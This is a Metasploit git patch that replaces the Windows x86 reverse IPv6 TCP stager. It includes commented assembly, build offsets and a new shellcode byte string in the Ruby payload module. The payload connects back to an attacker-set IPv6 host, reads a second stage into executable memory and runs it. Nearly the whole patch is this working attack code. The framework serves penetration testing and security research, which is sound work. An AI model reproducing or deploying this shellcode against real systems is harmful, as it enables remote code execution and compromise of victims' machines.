From c48633cff06d7e8bced82182fe3970d834ba47cc Mon Sep 17 00:00:00 2001 From: Stephen Fewer Date: Sun, 8 May 2011 01:44:08 +0000 Subject: [PATCH] Merge in a rewritten windows x86 reverse_ipv6_tcp stager (The previous one seems hosed since r6744 due to new host/port offsets[1] but the shellcode blob remained the same after modification[2]) - This new one uses the block_api_call technique, is 37 bytes smaller and can handle arbitrary size stages. [1] https://dev.metasploit.com/redmine/projects/framework/repository/revisions/6744/diff/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb [2] https://dev.metasploit.com/redmine/projects/framework/repository/revisions/6744/diff/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm git-svn-id: file:///home/svn/framework3/trunk@12562 4d416f70-5f16-0410-b530-b9f4589650da --- .../source/shellcode/windows/x86/build.py | 2 + .../windows/x86/src/block/block_recv.asm | 2 +- .../x86/src/block/block_reverse_ipv6_tcp.asm | 55 +++++++++++++++++++ .../src/stager/stager_reverse_ipv6_tcp_nx.asm | 21 +++++++ .../stagers/windows/reverse_ipv6_tcp.rb | 49 ++++++++--------- 5 files changed, 103 insertions(+), 26 deletions(-) create mode 100644 external/source/shellcode/windows/x86/src/block/block_reverse_ipv6_tcp.asm create mode 100644 external/source/shellcode/windows/x86/src/stager/stager_reverse_ipv6_tcp_nx.asm diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py index aa39ed8381..500380fe41 100644 --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -62,6 +62,8 @@ def xmit( name, dump_ruby=True ): xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 + xmit_offset( data, "IPv6Host", pack( " sizeof( struct WSAData ) + sub esp, eax ; alloc enough space for the WSAData structure + dec eax ; preserve stack alignment! + dec eax ; + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call ebp ; WSAStartup( 0x0202, &WSAData ); + + push eax ; if we succeed, eax wil be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push byte 6 ; push IPPROTO_TCP + inc eax ; Increment EAX do it is 1 + push eax ; push SOCK_STREAM + push byte 23 ; push AF_INET6 + push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 ); + mov edi, eax ; save the socket for later + + push byte 28 ; length of the sockaddr_in6 struct + call ipv6_connect ; call over the sockaddr_in6 structure ...pushing its address as a parameter for upcoming connect() call + ; (http://msdn.microsoft.com/en-us/library/ms738664%28VS.85%29.aspx) + dw 0x0017 ; sin6_family == AF_INET6 + dw 0x5C11 ; sin6_port (Patched by user) + dd 0x00000000 ; sin6_flowinfo + dq 0xBBBBBBBBBBBBBBB1 ; sin6_addr (Patched by user) + dq 0xCCCCCCCCCCCCCCC1 ; ... + dd 0xAAAAAAA1 ; sin6_scope_id (Patched by user) +ipv6_connect: ; + push edi ; the socket + push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) + call ebp ; connect( s, &sockaddr_in6, 28 ); + + mov esi, esp ; set ESI to ESP for block_recv compatability + \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_ipv6_tcp_nx.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_ipv6_tcp_nx.asm new file mode 100644 index 0000000000..0022096339 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_ipv6_tcp_nx.asm @@ -0,0 +1,21 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 - Assuming IPv6 is available +; Version: 1.0 (8 May 2011) +; Size: 298 bytes +; Build: >build.py stager_reverse_ipv6_tcp_nx +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_reverse_ipv6_tcp.asm" + ; By here we will have performed the reverse_ipv6_tcp connection and EDI will be our socket. +%include "./src/block/block_recv.asm" + ; By now we will have received in the second stage into a RWX buffer and be executing it + \ No newline at end of file diff --git a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb index bae14d0648..400acdff63 100644 --- a/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb @@ -29,7 +29,7 @@ module Metasploit3 'Name' => 'Reverse TCP Stager (IPv6)', 'Version' => '$Revision$', 'Description' => 'Connect back to the attacker over IPv6', - 'Author' => ['hdm', 'skape'], + 'Author' => ['hdm', 'skape', 'sf'], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, @@ -37,34 +37,33 @@ module Metasploit3 'Convention' => 'sockedi', 'Stager' => { + 'RequiresMidstager' => false, 'Offsets' => { - 'LHOST' => [ 278+1, 'ADDR6' ], - 'LPORT' => [ 272+1, 'n' ], - 'SCOPEID' => [ 294+1, 'V' ] + 'LPORT' => [ 207, 'n' ], + 'LHOST' => [ 213, 'ADDR6' ], + 'SCOPEID' => [ 229, 'V' ] }, 'Payload' => - "\xfc" + - "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+ - "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+ - "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+ - "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+ - "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+ - "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+ - "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x53"+ - "\x68\x8e\x4e\x0e\xec\xff\xd6\x89\xc7\x53\x68\x54\xca\xaf\x91\xff"+ - "\xd6\x81\xec\x00\x01\x00\x00\x50\x57\x56\x53\x89\xe5\xe8\x1f\x00"+ - "\x00\x00\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4\x19\x70\xe9\xec\xf9"+ - "\xaa\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32"+ - "\x00\x5b\x8d\x4b\x18\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a"+ - "\x05\x59\x51\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2"+ - "\x2b\x27\x54\x68\x02\x02\x00\x00\xff\x55\x28\x31\xc0\x50\x50\x50"+ - "\x6a\x06\x6a\x01\x6a\x17\xff\x55\x24\x89\xc7\xe8\x1c\x00\x00\x00"+ - "\x17\x00\xff\xff\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00"+ - "\x02\x1b\x63\xff\xfe\x98\xbf\x36\x00\x00\x00\x00\x59\x6a\x1c\x51"+ - "\x57\xff\x55\x20\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08\x56"+ - "\x6a\x00\xff\x55\x0c\x89\xc3\x6a\x00\x56\x53\x57\xff\x55\x18\xff"+ - "\xd3" + "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + + "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + + "\xFF\xD5\xB8\x04\x02\x00\x00\x29\xC4\x48\x48\x54\x50\x68\x29\x80" + + "\x6B\x00\xFF\xD5\x50\x50\x50\x6A\x06\x40\x50\x6A\x17\x68\xEA\x0F" + + "\xDF\xE0\xFF\xD5\x89\xC7\x6A\x1C\xE8\x1C\x00\x00\x00\x17\x00\x11" + + "\x5C\x00\x00\x00\x00\xB1\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xC1\xCC\xCC" + + "\xCC\xCC\xCC\xCC\xCC\xA1\xAA\xAA\xAA\x57\x68\x99\xA5\x74\x61\xFF" + + "\xD5\x89\xE6\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" + + "\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53" + + "\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF" + + "\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3" } )) register_options(